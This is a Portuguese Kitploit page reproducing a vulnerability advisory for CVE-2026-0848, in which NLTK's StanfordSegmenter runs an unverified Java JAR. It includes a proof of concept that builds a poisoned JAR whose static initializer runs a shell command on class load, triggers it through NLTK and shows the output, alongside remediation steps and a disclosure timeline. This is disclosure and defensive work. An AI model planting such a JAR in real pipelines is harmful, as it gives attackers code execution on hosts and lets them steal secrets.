Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos .jar Java externos sem verificação ou sandboxing. Se um atacante puder fornecer ou substituir o JAR (por exemplo, download de modelo envenenado, troca de pacote via MITM ou envenenamento de dependência), bytecode Java arbitrário é executado no momento da importação. | Kitploit
Ferramentas/GitHubGitHub/hyperps/cve-2026-0848
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança da Cadeia de SuprimentosPapers e PesquisaAprendizado e Educação
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Ver Repositório
3há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos .jar Java externos sem verificação ou sandboxing. Se um atacante puder fornecer ou substituir o JAR (por exemplo, download de modelo envenenado, troca de pacote via MITM ou envenenamento de dependência), bytecode Java arbitrário é executado no momento da importação.

Compartilhar

CVE-2026-0848 — NLTK StanfordSegmenter: Execução Arbitrária de Código via Carregamento de JAR Não Confiável


Visão Geral

CampoDetalhes
ID da CVECVE-2026-0848
Pacotenltk (Natural Language Toolkit)
RegistroPyPI
Versões Afetadas<= 3.9.2
Tipo de VulnerabilidadeCWE-20: Validação de Entrada Incorreta
Pontuação CVSS10.0 (Crítica)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoAlterado
Impacto na ConfidencialidadeAlto
Impacto na IntegridadeAlto
Impacto na DisponibilidadeAlto
Reportado em6 de dezembro de 2025
CVE PublicadoMarço de 2026
Suportado PorPalo Alto Networks / Prisma AIRS

Descrição

nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos Java .jar externos via subprocess sem realizar nenhuma verificação de integridade, verificação de assinatura ou sandboxing. A classe aceita parâmetros totalmente controlados pelo atacante, incluindo path_to_jar, path_to_model, path_to_dict e java_class, e os repassa diretamente para uma invocação java -cp.

Se um atacante puder fornecer ou substituir o arquivo JAR — por meio de um download de modelo envenenado, uma troca de pacote man-in-the-middle, envenenamento de dependência ou um espelho de lançamento corrompido — bytecode Java arbitrário é executado no momento do carregamento da classe por meio do mecanismo de inicializador estático da JVM. Isso constitui uma vulnerabilidade de Execução Remota de Código na cadeia de suprimentos e escapa completamente do runtime do Python.


Componentes Afetados

ArquivoLinhasDescrição
nltk/tokenize/stanford_segmenter.pyL53–L118Aceita path_to_jar, path_to_model, path_to_dict e java_class controlados pelo atacante, sem validação
nltk/internals.pyL220–L300Lança a execução Java diretamente com caminho de JAR e classpath controlados pelo usuário, sem sandboxing ou verificação de soma de verificação
nltk/internals.pyL109–L152subprocess.Popen() executa Java com entrada de classpath não validada, permitindo que a JVM carregue bytecode arbitrário e execute inicializadores estáticos

Vetor CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MétricaValor
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoAlterado
ConfidencialidadeAlta
IntegridadeAlta
DisponibilidadeAlta

Impacto

A exploração bem-sucedida concede ao atacante controle total sobre o sistema que executa o processo de segmentação do NLTK:

  • Execução de código Java arbitrário — Qualquer bytecode incorporado no JAR malicioso é executado com os privilégios do processo Python/Java
  • Escape do runtime do Python — A execução é transferida para a JVM, contornando completamente o sandboxing em nível de Python
  • Execução de comandos em nível de SO — Os atacantes podem invocar Runtime.getRuntime().exec() ou ProcessBuilder para executar comandos shell arbitrários
  • Roubo e modificação de dados — Acesso a todos os arquivos, variáveis de ambiente, chaves de API e segredos legíveis pelo processo
  • Comprometimento total do ambiente — Em CI/CD, pipelines de NLP em produção ou ambientes de servidor, um único JAR malicioso leva à tomada completa do host

Cenários de Implantação de Alto Risco

CenárioImpacto
Pesquisador de ML carrega um segmentador pré-treinado da internetAtacante remoto obtém execução de código
Organização baixa um ZIP de modelo de segmentação chinês corrompidoMalware é executado dentro do pipeline de NLP em produção
Servidor de CI/CD instala modelo via wget/unzip de um espelho não HTTPSComprometimento total do ambiente
Tomada de dependência ou espelho de lançamento envenenadoRCE completa na cadeia de suprimentos

Esta vulnerabilidade afeta qualquer fluxo de trabalho de NLP que use StanfordSegmenter, incluindo chatbots, pipelines de pré-processamento de LLM, segmentação de conjuntos de dados, classificação de documentos e serviços de inferência em produção.


Prova de Conceito

Esta informação é fornecida apenas para fins educacionais e de defesa. Não teste contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Etapa 1 — Substituir o Classificador Principal por uma Classe Java Maliciosa

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Etapa 2 — Construir o JAR Malicioso

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Etapa 3 — Acionar via NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Saída:

root@kitploit:~
[+] Acionando payload via JAR Stanford modificado...

Payload executado — Código executado no carregamento da classe!

[+] Executando segmentação...
我 爱 自然语言 处理

Confirmar RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Causa Raiz

A vulnerabilidade existe em dois arquivos:

stanford_segmenter.py — O construtor da classe StanfordSegmenter aceita path_to_jar, path_to_model, path_to_dict e java_class como argumentos de string simples e os encaminha diretamente para a camada de execução Java sem realizar nenhuma das seguintes ações:

  • Aplicação de lista de permissões de caminho ou diretórios confiáveis
  • Verificação SHA-256 ou de assinatura criptográfica do JAR
  • Validação do parâmetro java_class em relação a um conjunto de nomes de classe conhecidos como seguros

internals.py — O auxiliar java() constrói e lança uma chamada subprocess.Popen() com o classpath fornecido pelo usuário. A JVM carrega imediatamente todas as classes do JAR fornecido, executando quaisquer blocos inicializadores estáticos antes que a lógica do aplicativo seja executada. Não há sandbox, nenhuma barreira de integridade e nenhum mecanismo para impedir a execução de bytecode injetado.


Correção

A vulnerabilidade foi totalmente resolvida no repositório upstream do NLTK.

RecursoLink
Correção de Segurança Central (todas as CVEs)https://github.com/nltk/nltk/pull/3522
PR de correção inicial do pesquisadorhttps://github.com/nltk/nltk/pull/3477 (mesclado)

Atualize para uma versão corrigida do NLTK assim que ela estiver disponível no PyPI.


Remediação

AçãoDetalhes
Atualizar o NLTKAtualize para uma versão superior à 3.9.2 que contenha a correção do PR #3522
Não Usar Caminhos de JAR Controlados pelo UsuárioNunca permita que a entrada do usuário influencie os argumentos path_to_jar, path_to_model ou java_class
Verificar a Integridade do JARSempre verifique as somas de verificação SHA-256 dos arquivos JAR baixados em relação aos hashes oficiais publicados antes do uso
Usar Apenas Fontes HTTPSBaixe arquivos de modelo e JARs exclusivamente de fontes HTTPS oficiais; rejeite qualquer espelho HTTP ou não verificado
Privilégio MínimoExecute serviços baseados em NLTK sob um usuário do SO restrito, com permissões mínimas de sistema de arquivos e rede
ContainerizaçãoIsole serviços de NLP em contêineres Docker ou sandboxes semelhantes para limitar o raio de impacto de explorações baseadas em JAR
Monitoramento de DependênciasUse uma ferramenta de análise de composição de software para detectar dependências JAR adulteradas ou substituídas em pipelines de CI/CD

Atualização via pip:

root@kitploit:~
pip install --upgrade nltk

Verificar a versão instalada:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Linha do Tempo

DataEvento
6 de dezembro de 2025Vulnerabilidade reportada ao huntr.dev pelo pesquisador hyperps1 (Sarvesh Patil)
Dezembro de 2025Equipe de mantenedores do NLTK notificada via huntr.dev
Janeiro de 2026Mantenedor do NLTK validou a vulnerabilidade; recompensa de divulgação concedida
Janeiro de 2026CVE-2026-0848 atribuída
Janeiro de 2026PR de correção #3477 do pesquisador enviado e mesclado
Fevereiro de 2026Aviso de pré-publicação de 48 horas enviado aos mantenedores do NLTK
Março de 2026CVE publicada no NVD e no huntr.dev
Março de 2026Correção de segurança central para todas as CVEs mesclada via PR #3522

Referências

RecursoLink
Entrada no NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Registro Oficial da CVEhttps://cve.org/CVERecord?id=CVE-2026-0848
Relatório no huntr.devhttps://huntr.dev
PR de Correção Centralhttps://github.com/nltk/nltk/pull/3522
PR de Correção do Pesquisadorhttps://github.com/nltk/nltk/pull/3477
NLTK no PyPIhttps://pypi.org/project/nltk/
Segmentador de Palavras Stanfordhttps://nlp.stanford.edu/software/segmenter.html
OWASP — Execução Arbitrária de Códigohttps://owasp.org/www-community/attacks/Code_Injection
OWASP — Caminho de Pesquisa Não Confiávelhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: Validação de Entrada Incorretahttps://cwe.mitre.org/data/definitions/20.html
CWE-502: Desserialização de Dados Não Confiáveishttps://cwe.mitre.org/data/definitions/502.html

Aviso Legal

Este repositório documenta a CVE-2026-0848 estritamente para fins de segurança educacional, pesquisa e defesa. O código de prova de conceito e os detalhes técnicos são fornecidos para ajudar desenvolvedores, engenheiros de segurança e administradores de sistemas a entender, avaliar e remediar esta vulnerabilidade.

Qualquer uso destas informações para acessar ou comprometer sistemas sem autorização explícita é ilegal e antiético. O autor não assume nenhuma responsabilidade pelo uso indevido das informações aqui contidas.

Contribuidores: ketanHub

Baixar ferramenta